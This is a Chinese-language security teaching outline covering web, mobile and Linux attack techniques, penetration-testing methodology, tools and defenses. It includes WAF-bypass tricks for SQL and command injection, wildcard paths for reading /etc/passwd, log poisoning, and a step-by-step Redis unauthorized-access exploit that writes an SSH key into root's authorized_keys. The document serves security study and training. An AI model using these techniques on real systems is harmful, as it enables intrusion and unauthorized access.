专注Web及移动安全[红日安全58期]
字数 2050 2025-08-18 11:37:41
Web及移动安全综合教学文档
一、Web安全核心知识
1.1 SQL注入攻击与防御
- 手工SQL注入:通过构造恶意SQL语句绕过认证或获取数据库信息
- WAF绕过技术:
- 使用注释分割关键字:
SEL/*xxx*/ECT - 大小写混合:
SeLeCt - 等价函数替换:
concat()替代+ - 编码转换:十六进制/URL编码
- 使用注释分割关键字:
- ThinkPHP 5.1.x SQL注入漏洞:由于表达式解析缺陷导致
1.2 命令执行漏洞
- 常见触发点:
- 系统命令调用函数:
system(),exec(),passthru() - 反序列化漏洞
- 模板注入
- 系统命令调用函数:
- WAF绕过技巧:
- 命令拼接:
a=l;b=s;$a$b - 环境变量:
${PATH:0:1}→/ - 通配符:
/???/??t /???/p?ss??
- 命令拼接:
1.3 XSS漏洞实战
- 存储型XSS案例:雅虎邮箱APP漏洞
- 攻击向量:通过用户输入内容未过滤导致持久化XSS
- 影响范围:所有查看恶意内容的用户
- 防御方案:
- 输入输出编码
- CSP策略
- HttpOnly Cookie
1.4 文件包含与上传漏洞
- 靶场实战要点:
- 文件上传绕过:修改Content-Type、文件头、.htaccess
- 目录遍历:
../../etc/passwd - 日志污染:通过User-Agent注入PHP代码
二、渗透测试方法论
2.1 渗透测试流程
- 信息收集:
- 子域名枚举
- 端口扫描(MASSCAN工具)
- 指纹识别
- 漏洞扫描:
- 自动化工具:Nessus, OpenVAS
- 手工验证
- 漏洞利用:
- 选择合适的Exploit
- 权限提升
- 后渗透:
- 横向移动
- 数据窃取
- 痕迹清除
2.2 内网渗透技术
- SOCKS代理应用:
- 使用reGeorg搭建隧道
- Proxychains配置
- PowerShell Empire 2.3:
- 模块化后渗透框架
- 特点:
- 无需powershell.exe
- 内存中执行
- 多协议支持
2.3 CTF实战技巧
- Web题目解法:
- 源码审计
- 参数篡改
- 逻辑漏洞利用
- PWN题目部署:
- 使用socat监听
- 限制资源
- 自动化flag提交
三、移动安全专项
3.1 Android应用测试
- 静态分析:
- APK反编译(apktool/jadx)
- 敏感信息搜索:API密钥、硬编码凭证
- 动态分析:
- Frida/Xposed hooking
- 网络流量分析(BurpSuite)
- 常见漏洞:
- 不安全的存储
- 组件暴露
- 证书验证缺失
3.2 iOS应用安全
- 越狱检测绕过
- Keychain分析
- 方法swizzling
四、防御体系建设
4.1 PHP安全规范
- 禁用危险函数:
exec,system - 开启安全模式
- 严格类型比较
- PDO预处理语句
4.2 Tomcat安全部署
- 删除默认应用
- 配置manager访问控制
- 更新到最新版本
- 禁用PUT方法
4.3 应急响应流程
- 准备阶段:
- 制定预案
- 组建团队
- 检测阶段:
- 日志分析
- 时间线构建
- 遏制阶段:
- 隔离系统
- 密码重置
- 恢复阶段:
- 系统加固
- 监控加强
五、工具集锦
5.1 渗透测试工具
- 端口扫描:MASSCAN(高速扫描)
- 内网渗透:CrackMapExec(AD环境)
- Payload生成:MSFVenom
- Web扫描:BurpSuite, OWASP ZAP
5.2 二进制工具
- 编辑分析:
- WinHex:二进制编辑
- PEditor:PE文件分析
- 调试工具:
- x64dbg
- IDA Pro
5.3 CTF工具包
- 密码破解:Hashcat, John
- 隐写分析:Stegsolve, binwalk
- 网络分析:Wireshark, tcpdump
六、漏洞复现实战
6.1 Redis未授权访问
- 漏洞原理:默认无认证,可写定时任务
- 利用步骤:
- 连接redis:
redis-cli -h target - 写入SSH key:
config set dir /root/.ssh/ config set dbfilename authorized_keys set x "\n\nssh-rsa AAAAB3N...\n\n" save - SSH免密登录
- 连接redis:
6.2 FTP入侵(vsftpd)
- 常见漏洞:
- 匿名登录
- 版本漏洞(CVE-2011-2523)
- 防御措施:
- 禁止匿名
- 使用SFTP替代
- 限制用户目录
七、Linux系统安全
7.1 SSH防护
- 防暴力破解:
- 修改默认端口
- Fail2ban配置
- 密钥认证
- 入侵检测:
- 检查
/var/log/auth.log - 查看异常用户
- 检查
7.2 内核安全机制
- KASLR详解:
- 内核地址空间布局随机化
- 绕过技术:
- 信息泄露
- 侧信道攻击
- 防御增强:
- FGKASLR
- 静态分析防护
八、安全开发实践
8.1 安全编码规范
- 输入验证
- 输出编码
- 最小权限原则
- 安全依赖管理
8.2 漏洞管理流程
- 漏洞扫描
- 风险评估
- 修复优先级
- 补丁验证
- 持续监控
本教学文档涵盖了Web及移动安全的核心知识点,从攻击技术到防御方案,从工具使用到实战案例,构建了完整的安全知识体系。建议读者结合靶场环境(如Webbug、DVWA)进行实践练习,以深化理解。